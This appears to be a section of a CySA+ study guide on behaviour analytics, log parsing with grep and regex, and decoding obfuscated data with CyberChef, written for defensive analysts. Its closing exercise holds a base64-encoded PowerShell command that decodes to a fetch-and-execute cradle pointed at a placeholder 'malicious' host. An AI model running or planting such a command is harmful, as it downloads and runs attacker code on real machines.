2.3.4. User Behavior Analysis and Scripting

💡 First Principle: Compromised credentials produce legitimate-looking authentication events — detecting them requires analyzing patterns of behavior over time rather than evaluating individual events in isolation.

User and Entity Behavior Analytics (UEBA) establishes behavioral baselines for users and systems, then flags deviations. Key use cases:

Impossible travel — A user authenticates from New York at 8:00am and from London at 8:30am. Geographic distance makes this physically impossible — either the account is compromised, or a VPN/proxy is masking location. UEBA systems calculate the implied travel speed and flag impossible combinations.

Abnormal account activity — Login at unusual hours, access to unusual resources, bulk data downloads, access from unusual devices or locations. The baseline is built over days to weeks of observed behavior; deviations trigger risk scores that feed into SIEM alerting or just-in-time MFA challenges. Other baseline breaks: dormant account reactivation (a long-idle account suddenly becomes active) and a data volume anomaly (transfers far above that user's own norm, such as a few hundred megabytes a day jumping to tens of gigabytes). Because each user is measured against their own baseline rather than one fixed, organization-wide threshold, UEBA catches what signatures cannot, such as an insider misusing valid credentials, where there is no known-bad pattern to match. A single anomaly is a lead, not a verdict: check context (travel schedule, known VPN exit points, approved contractors) before acting, and tune a noisy rule with an allowlist of approved ranges rather than deleting the detection or exempting whole groups of accounts. When several high-risk signals stack up, such as an unusual hour and location plus bulk access to sensitive data, contain first: suspend the account, review what was accessed or exported, and verify with the user through a secondary channel.

Scripting for security analysts — CySA+ expects working knowledge of scripting tools used in security operations:

For the exam: you won't need to write complex scripts, but you will see PowerShell and Python snippets in scenario questions and need to understand what they do. A PowerShell command using Invoke-Expression with base64-encoded input is an obfuscation red flag, for example. When a detection script runs cleanly but returns nothing, check the script's logic before trusting the empty result: SIEM and cloud APIs return results in pages, so a script that never requests the next page sees only the first batch, and geolocation lookups return no location for private (RFC 1918) addresses or fail silently when the GeoIP data is missing, collapsing every login into one region.

⚠️ Exam Trap: PowerShell is both an administrative tool and a favorite attacker tool — because it's already installed on every Windows system, has deep OS access, and its activity can be logged (but often isn't, by default). PowerShell logging (module logging, script block logging, transcription) must be explicitly enabled to capture what scripts executed.

Parsing Logs with the Command Line and Regex

CS0-004 lists regular expressions, interpreting suspicious commands, and Python, PowerShell and shell script among the analyst's tools — you will be asked to read a regex and to know which tool extracts what from a raw log. The core CLI toolkit:

A classic pipeline — the top source IPs by failed SSH login:

grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head

Regex essentials (used by grep, SIEM correlation rules, and DLP):

Common patterns: IPv4 \b(\d{1,3}\.){3}\d{1,3}\b; email [\w.%+-]+@[\w.-]+\.[A-Za-z]{2,}. On the exam you must recognize what a pattern searches for — e.g. Failed password.*from (\d{1,3}\.){3}\d{1,3} finds failed SSH logins and matches the source IP that follows from (no ^ anchor: a raw syslog line starts with a timestamp and host, so ^Failed password would match nothing).

Raw log formats to recognize:

• Linux auth.log: May 3 10:12:44 host sshd[2311]: Failed password for root from 203.0.113.7 port 4522 ssh2
• Apache access log: 203.0.113.7 - - [03/May/2025:10:12:44] "GET /admin HTTP/1.1" 401 512
• Windows Security event: structured EVTX/XML with fields like EventID, TargetUserName, and LogonType (see 2.2.2)
• AWS CloudTrail: JSON with eventName, sourceIPAddress, and userIdentity, filtered with jq

⚠️ Exam Trap: Match the tool to the task — grep finds lines, awk/cut extract fields, sort | uniq -c counts. And a regex question is really asking "what would this pattern match?"

Decoding with CyberChef

Attackers layer encodings to slip past filters: a PowerShell -EncodedCommand may decode to a script that holds another Base64 blob, which is itself gzip-compressed. CyberChef, GCHQ's open-source "Cyber Swiss Army Knife", lets the analyst chain operations into a recipe (for example From Base64 → Gunzip) and watch the output change at each step. Its Magic operation suggests likely encodings when the analyst is unsure. All processing happens in the browser, so the input is not sent to the CyberChef server, which matters for sensitive samples. A decoded blob that starts with the bytes 1F 8B is gzip data (the gzip magic number in RFC 1952).

CyberChef transforms data; it does not execute samples, scan them for malware, or capture traffic. Pair it with a sandbox for behavior and with VirusTotal or YARA for identification.

File Formats Analysts Read

⚠️ Exam Trap: EVTX is called the Windows XML Event Log format, but the file on disk is binary. Text tools such as grep will not parse it; use Windows tooling or a dedicated EVTX parser, or export the events first.

Reflection Question: An analyst reviews PowerShell logs and finds this command was executed: powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALwBwAGEAeQBsAG8AYQBkACcAKQA=. What does the -enc flag indicate, and what investigation step should the analyst take first?